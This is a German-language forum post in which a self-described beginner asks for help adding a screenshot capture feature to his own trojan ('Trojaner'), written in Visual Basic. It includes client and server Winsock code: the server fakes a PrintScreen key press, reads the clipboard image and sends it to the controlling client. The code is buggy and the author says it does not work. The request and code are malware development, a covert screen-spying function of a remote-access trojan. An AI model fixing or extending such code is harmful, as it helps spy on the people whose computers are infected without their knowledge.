(trojaner) screenshot funktion
hay!
ich möchte gerne in meinen Trojaner eine Screenshot funktion einbauen!
aber irgendwie klappt das nicht!
beim client habe ich folgenen code benutzt
Private Sub Command1_Click()
Dim screen As String
Form1.Win1.SendData "screenshot"
Form1.Win1.GetData screen
Form8.Image1.Picture = screen
End Sub
und beim server diesen:
Private Sub Win1_DataArrival(ByVal bytesTotal As Long)
Win1.GetData Date_Primite
vector = Split(Date_Primite, "|")
Select Case vector(0)
Case "screenshot"
keybd_event &H2C, 0, 0, 0
DoEvents
Image1.Picture = Clipboard.GetData
screen = Image1.Picture
Win1.SendData screen
End Select
End Sub
bin noch nicht so gut in vb,
vieleicht könnt ihr mir ja helfen!!
mfg funky